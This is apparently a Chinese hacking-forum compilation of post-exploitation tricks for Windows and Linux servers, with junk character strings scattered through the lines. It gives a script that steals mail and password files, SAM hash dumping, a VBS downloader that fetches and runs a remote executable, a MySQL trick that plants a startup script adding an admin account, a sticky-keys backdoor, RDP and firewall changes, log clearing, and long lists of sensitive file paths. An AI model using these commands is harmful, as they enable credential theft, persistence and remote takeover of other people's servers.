感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
4 F) _& o$ y* }! P. {: zalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
; W. e* Z; f9 S0 K{
注：
5 s( Y6 {$ B+ X9 G% ~关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
1 w' d/ U3 q! C那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
9 B; [  o6 I; E2 o( crar a -k -r -s -m3 c:\1.rar c:\folder
1 t# c3 i( l! c. o——————————————
2、收集系统信息的脚本  
for window：
% B! L5 C  y2 h
& E: ]% O+ R/ }) s6 Y3 D1 k@echo off
echo #########system info collection
systeminfo
) p; ~0 Y, a6 s7 C" ^; lver
hostname
net user
3 M& n6 \- I( P3 s& {net localgroup
$ x2 a- b& m8 t4 X% n7 T" Lnet localgroup administrators
+ v# u& B  h" R# _2 g1 Jnet user guest
' ~3 {/ {; Q) x2 B/ d0 unet user administrator
; d3 x- Y9 A5 J4 t
% K8 F/ X& G, {' X0 R$ |echo #######at- with   atq#####
+ J+ H: {1 G& V- e6 ~' oecho schtask /query
8 z3 `/ T: a% {, N) w" [7 ?/ e9 z" u
echo
9 k* }% ~" W. x7 t( V6 k/ E0 @$ A" Pecho ####task-list#############
) q; d# }1 V9 O5 O6 `tasklist /svc
# _  u- `- m. p0 t; e* T/ E& }echo
7 a  _/ F  |) g$ R" d5 necho ####net-work infomation
# P* [& w- M( {" ]6 dipconfig/all
3 y4 ^% S+ i( n  u& |' wroute print
$ {, H$ X% S8 I. d# c/ A  d+ uarp -a
! O: t* h3 Q% L/ y8 p: G4 i, @3 Anetstat -anipconfig /displaydns
, G% t/ y5 r8 U" f& hecho
. Y4 J" ?) c* b" x! y7 techo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
4 Q$ ]6 q  A6 {4 l; ^- W) a& O$ Gfor linux：

#!/bin/bash
( s" n( C) D4 Q" u! r, }2 D* U1 P
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
0 ]! W- x  R9 J3 _8 y, Y7 a" kecho #######basic infomation##
* n. q! r2 y, _cat /proc/meminfo
echo
cat /proc/cpuinfo
( t* w2 l% r" S1 E5 N: l5 eecho
3 A8 o/ D3 H' Qrpm -qa 2>/dev/null
######stole the mail......######
; Q( h! E7 o# f6 ]cp -a /var/mail /tmp/getmail 2>/dev/null

. u% P/ y; \( Y: K
echo 'u'r id is' `id`
3 {( m% R3 n; _; T# h" l- V' Yecho ###atq&crontab#####
atq
crontab -l
4 B4 l1 r: t3 i$ Kecho #####about var#####
  a, b; X: [: {. q" {( v1 |set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
" r5 q/ V+ T9 g9 \* n  Dcat /etc/hosts
8 b% g! o. x. x+ Q8 [" vhostname
  s6 G7 b3 s: _( i1 f3 Gipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh

. }1 \# p* ], }% w& B: gecho ######service####
chkconfig --list

% G5 `/ Z- a* ifor i in {oracle,mysql,tomcat,samba,apache,ftp}
; |( ]  L+ g4 Z; kcat /etc/passwd|grep -i $i
! E9 v! m/ g9 mdone
( i5 o5 P' [9 b1 c6 i4 W5 H
locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
4 d3 a6 k1 P1 r/ T: E4 h5 t% Rsleep 5
: G$ u  s* J" Q" h+ }9 l3 r/ e" o3 vlocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
( I# I9 f: N- q- l! v' Hsleep 5
2 p/ @+ M" b+ \9 _- z  u: B1 K7 x7 u
###maybe can use "tree /"###
% L" \1 x! w4 p- z7 X- [2 ]# @8 pecho ##packing up#########
9 m. s( s8 G& Y; v7 otar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
2 ?6 M: n8 P7 `7 m——————————————
) S& @+ M. ]* d6 A3 v3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
" l. s0 Y- ]: S, Q1 g               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
, Q  c8 R* f$ {注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
5 Q+ l# }- Y" d. f8 v. W接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
. p- M+ N8 B- X; N: Fhash 抓完了记得把自己的账户密码改过来哦！
5 v! |; c3 v( F" B8 q4 L- ^据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
& q* t# Q, O+ K6 f6 S- x$ jecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
7 M* g9 r- o9 Y4 ~* n. Wecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
1 `5 N) b( ^/ D/ Aecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
. ]- c# F9 J7 q8 q2 F" {echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

7 d7 I* a) T8 B6 D7 g; ], _" M2
+ w; J) k0 X- h! N+ [% kOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
+ O4 Z8 K. A$ z. Rs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
  y5 H8 W6 Z( N" ]$ e& u, QSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
8 Y( I0 l1 ~5 ^, E; C$ ^& ssGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
  ^7 D5 P1 G+ G. G5 T' k5 {+ [
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

# T) H; p$ c0 X+ f! M" j( M- m/ E5 E当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
. }( z$ {' I+ G4 u1.查询终端端口
  G" z) F2 X: [REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
5 v" E; Y3 s6 w5 {# ~) p+ F; s3 m2.开启XP&2003终端服务
" _. t5 A; s" tREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
3 }! G9 k0 P4 e4 E. t2 F8 f' }0 e9 LREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
! G' D3 K, W4 J( M0 y' qREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
! K% T0 |. s5 V0 xREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
; G) g: @  f6 ~' W& w3 h3 |# oinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
9 r6 _% @* ~5 X1 Cselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
# w, j3 o% {$ r1 e% c+ P  S————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
, H: V. q7 d! G: G5 O1 v" e, H2 o_____
8、for /d %i in (d:\freehost\*) do @echo %i

0 [& w6 I% q2 ~% K( H+ L3 _列出d的所有目录
  
: G8 ]* }+ ?7 |0 L" z  for /d %i in (???) do @echo %i

8 D6 k' d. [1 J把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
2 S9 P4 t, K/ x  i* k以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
( [4 U5 V5 {% v2 W3 {1 @: \3 y
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
, O% g7 q- a* |  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
, ^7 b' I) g: }2 }
0 a1 s$ r$ c+ w  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
9 P! V4 z  G3 E: P7 x% o1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

  n% Q' z' o& m2 X+ h' _; H& l3.清除3389登录记录:
0 ^- Q% Q+ B. d- L  Y! Vreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
) d# _( i" K3 y& C( c7 Q% S0 rreg export HKLM\SYSTEM\RAdmin c:\a.reg
. B' R' U9 S" |
5.禁用TCP/IP端口筛选(需重启):
2 Q3 q& C& r: uREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
& d" p3 ]( x& b3 q
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

! @2 D& T& v: r; f7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

3 J9 e  O* i5 Z( A9 j' Z/ y! M8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
" i4 z+ ~; U* d+ \9 Y
4 {& q* {- G3 X! R9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
( x2 J( w( A! _4 H& k! ^# zreg save hklm\system c:\system.hive
5 Q6 I/ G$ F* |" j' oreg save hklm\security c:\security.hive

10.shift映像劫持
% T, \+ Z  t# u  I& qreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
% B2 Q  ^  X: U: R! y# p  f' k-----------------------------------
* R% b; u# ]$ Q# N' c4 o星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
; s5 a& C( O9 W5 N8 W7 pchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
3 ^% D: R; J+ S( ]% i1 J3 mset IIs=objservice.GetObject("IIsWebServer",childObjectName)
$ E& H4 {+ B7 ?- hif err.number<>0 then
exit for
7 H5 f, z3 L3 F4 ~' Bmsgbox("error!")
1 W" j0 Q* t6 j5 x  f# swscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
- L. d1 s% u% h* ?- a: ^& Vlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
* v! g. V$ a4 S- sNext
0 O) E) u; n- Swscript.echo list
: F; E* Z  O# `Set ObjService=Nothing
- I0 i% }9 @4 Z5 e: N: r6 }wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
8 y0 @5 ^  g* m/ u( }% _& S- a+ m2 VWScript.Quit
复制代码
" b3 C& {9 S  J----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
; v8 m% `; l* k. _6 z将folder.htt文件，加入以下代码：
3 R" u" ^0 Z7 g<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
3 Q2 p5 j7 d% D$ b$ P% a</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
4 z! C- o/ A, H; easp代码，利用的时候会出现登录问题
& V4 ~# k3 x+ L. } 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
4 M8 a5 ?2 b7 j5 e2 m# U- | 解决方法
4 f; @- u( B7 @# n url=request.severvariables("path_info")
7 A; y3 l) K4 E path_info可以直接呈现虚拟路径 顺利解析gif大马
3 M" K2 R4 i/ f3 O8 P) X
==============================================================
$ F  c" u7 H9 o, dLINUX常见路径：

/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
/ g- T8 q( V# J' A( h) G/etc/motd
' v: R, ^2 R5 t# {1 R+ B/etc/ld.so.conf
/var/www/htdocs/index.php
# Z* l2 D& `9 l8 i/ M: q/var/www/conf/httpd.conf
0 a& E5 c5 S% I' N% X/ \/var/www/htdocs/index.html
/var/httpd/conf/php.ini
% g( F4 P3 k% ^- V! ?8 G# U" ^/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
7 ^4 H) a# N6 Y6 q) M/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
, s  T; K0 E/ x  `/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
6 g# P4 S) }" ~% c/usr/local/apache/htdocs/index.html
( J; U7 v6 Q8 P/usr/local/apache/htdocs/index.php
, R' g1 j; D+ `( z3 T) n/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
  p0 y' u# U2 m9 A7 q* Z6 I* j/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
" i  `) z, s( d2 u6 n$ h& l# L# L/etc/httpd/htdocs/index.php
' K4 w5 p7 ^6 x- h2 v/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
  _6 L) }9 P, f) [/ N4 u' I/www/php5/php.ini
+ Y+ B0 }( ]! y1 I* u; f. u/www/conf/httpd.conf
4 `0 _2 Q, H: G" G$ S, `7 i: A/www/htdocs/index.php
/www/htdocs/index.html
! ?0 h1 r' {0 Z6 _0 {/usr/local/httpd/conf/httpd.conf
6 L5 f" t& q9 {. h& n! Z/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
. @/ e, x% |3 Y: Q# D4 w& g$ ?" c7 j/etc/apache/apache.conf
4 y- k' A3 N" d) ^+ q# n/etc/apache2/apache.conf
. c% M. @8 x% N% n/etc/apache/httpd.conf
) C  _2 B; J' k2 G/etc/apache2/httpd.conf
# P% o9 d3 Y& V- w/ r" J/ Y- }/etc/apache2/vhosts.d/00_default_vhost.conf
; x) C7 L* n0 p. q/etc/apache2/sites-available/default
2 b* F* u- b1 |/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
; l# j4 @! x3 w! x/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
( \/ w+ P) ^9 ]- H/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
0 f' u* h# F& p( f+ j/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
& z0 W8 }! w# t; g/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
( m" U6 k  @& d) \$ k1 J0 G  b# S/var/log/apache2/access.log
, N% Z9 S! S% z# t5 G5 _/var/www/logs/error_log
/var/www/logs/error.log
1 e) B6 i" V" X$ R7 I! L/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
! M6 r. q. H% y+ h  K. w/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
7 g& H8 b0 J! g: A! U5 l7 Z/usr/local/apache/logs/access_logaccess_log.old
- s* @8 D! h7 l( K! E* e! d! K4 ~% x/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
, w4 ~2 l, N' a" r3 D/bin/php.ini
9 J; o1 l4 {8 t9 B1 B/etc/init.d/httpd
9 |$ u7 M( |( ^) C" d# w/etc/init.d/mysql
8 S0 z, g- P+ `6 `  \% J/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
5 |5 Z* S" n9 x: a) y7 O) C& y/usr/local/etc/php.ini
8 u# e7 n& x4 n6 y5 {% e/usr/local/lib/php.ini
! V8 c$ J' x  f; Z. \) I( o/usr/local/php/lib/php.ini
# M5 Z3 s4 X1 K  D/usr/local/php4/lib/php.ini
/ ?7 L6 Y) R. V3 K7 w/usr/local/php4/php.ini
8 ]0 y* z8 n* h/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
8 x% E0 C) ^- ~) T9 q, V+ N2 N/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
0 R" A$ q: q; p& ^) p8 Z& x/usr/local/apache/conf/httpd.conf
! G' _7 u8 t( N3 D+ X. ?) c) \/usr/local/apache2/conf/httpd.conf
; M; w. W& t( H/usr/local/apache2/conf/php.ini
; T+ ^% v8 f7 V0 _- v/etc/php4.4/fcgi/php.ini
( |& Q& K0 L) c/ j( ?' H7 |/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
' _/ i6 B! k# `! B. {/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
) s/ \( T; S% C& {0 b8 \/web/conf/php.ini
3 z  y3 w/ D- a2 _4 X- i/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
7 z' v' U. E- y6 J  _6 P7 {# ]0 n/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
2 H. |& d  M, v: t, V3 \/php/php.ini
/PHP/php.ini
& r1 r' D- u& ~" {/apache/php/php.ini
/xampp/apache/bin/php.ini
9 f9 {6 y+ I& \* D9 J) y4 G/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
3 P9 e* R; l5 t* e' h" C8 b; n/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
) q$ E+ y( R4 h$ ]  V/ m2 Z6 Q) C/var/log/mysql/mysql.log
: b' I  s* k6 h' v$ {: V/var/log/mysql/mysql-slow.log
/var/mysql.log
* ^6 A3 x& K6 @) p/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
5 }! E: W4 G/ D' k; Z/usr/local/mysql/bin/mysql
. V5 }( [- r4 E- n0 V; Z1 l/etc/mysql/my.cnf
3 B. q6 x; A5 Y/etc/my.cnf
( g. _0 Z$ u' m/ t1 F% {" x/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
; i: M. J; j0 o) H0 f8 O' s: P/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
9 K- g& H% x) ~" @( i8 s: |/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
% ]) T5 K4 e; R7 v6 C/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
+ n5 @- _4 v- y1 S* R0 Q" h/usr/local/share/examples/php/php.ini
6 W( \) f$ T& X0 {3 S* h4 ?! s
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
/ a: j' N4 s3 z+ b2 R5 Hc:\1.txt
8 b( N7 e& |$ \8 O5 z, m' J. yc:\a.txt
# n6 r4 k# X# Z2 w
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
8 C1 Z" V% g+ v, h1 Zc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
/ ^) b+ J" C/ j$ ZC:\WinWebMail\SysInfo.ini
( Y7 Y! z* \; b2 r/ E8 pC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
0 k  |# Y; B! g; @
& n3 {2 P" E) T7 G3 O0 E/ ]c:\hzhost\databases\url.asp
6 l& A5 s, H% C- W7 }7 q6 A) |% b
c:\hzhost\hzclient.exe
' ?6 Q2 h- v7 AC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
, a# {7 C4 x- `. O, u; ?
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
- m: n5 L4 @7 Lc:\web\index.html
c:\www\index.html
! |, H+ c: K$ i2 z) Nc:\WWWROOT\index.html
8 z) R+ E( N$ o, J1 l$ T3 a9 I& Wc:\website\index.html
c:\web\index.asp
" q; u& m( B  R0 `% Y. x* w& oc:\www\index.asp
c:\wwwsite\index.asp
" x& _. I7 C; U9 N" Dc:\WWWROOT\index.asp
: H6 S% w5 {# R3 G9 ^c:\web\index.php
c:\www\index.php
3 h7 p+ l0 r, f1 K  @+ m3 o& Ac:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
) c% P/ X/ u: _c:\website\default.html
c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
  u- X! G7 f0 F+ W' S; [c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
" s* |" a8 k# o  n9 Z/ x4 zC:\Inetpub\wwwroot\pagerror.gif
4 V( v- ^7 P9 Gc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
2 K) r/ E9 ~- }- h8 }C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
8 {5 S2 }3 K: a) R  ^& tC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
+ A' @+ G3 a, s. Vc:\ravbin\store.ini
5 w+ j& o- x4 ~4 l0 Kc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
. I5 ^, ?+ Z$ `& JC:\Documents and Settings\All Users\Start Menu\desktop.ini
/ R9 q8 }5 x7 n3 y; F8 \C:\Documents and Settings\Administrator\My Documents\Default.rdp
; q) d, I/ {1 f9 w" EC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
) q6 X7 L: _+ r, @C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
; b" d. j: r: ~% lC:\Documents and Settings\Administrator\My Documents\1.txt
4 b- ]# ?2 B2 S1 Z5 AC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
- L) W0 C6 P" e3 LC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
8 B; ^9 \% P& e  b, R( {4 {& G. |E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
1 E- D8 v) r5 k) i2 ~/ F5 zC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
* J9 C: I% m4 zC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
! e" ~& \- ^* ]: y  MC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
% S) @3 B  L4 `9 T9 q, E% M0 a- G" I. ^C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
6 }" p( _1 E' j" _7 n- R* W" bC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
2 b* f( S% s. Z! y" i6 NC:\MySQL\MySQL Server 5.0\my.ini
2 o2 {0 q4 P& u% qC:\Program Files\MySQL\MySQL Server 5.0\my.ini
" b7 a2 {! X6 r4 aC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
0 N8 d: y# @7 Z0 ^9 p# EC:\Program Files\MySQL\MySQL Server 5.0\COPYING
  u+ R- K/ F# q7 N! c4 R! z# iC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
- `# o: Y# a4 u6 @# @7 D6 ~$ n0 Nc:\MySQL\MySQL Server 4.1\bin\mysql.exe
# P! y) W" g& Q, n& a3 Zc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
: U! r9 z- }  {9 H, z- fC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
- `- e- y; W* OC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
( a9 t- a2 h& C) c3 t* fc:\Apache2\bin\Apache.exe
, k) L. n( {+ C$ X& h6 E# a9 xc:\Apache2\php\license.txt
: I" p. M3 x0 X8 ^  ^* @C:\Program Files\Apache Group\Apache2\bin\Apache.exe
) [& B6 k' p7 U, S  B6 P" I( b+ x/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
9 H) ]4 b7 R7 S, ~: b8 o3 F/ \/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
5 M' H, a/ f8 k6 i3 r" lc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
# N) {" \; Q7 B/ s* sc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
5 e# t) J$ G( X# M3 z' r' FC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
/ W2 ~/ ?0 H/ j) M1 `8 q$ P( XC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
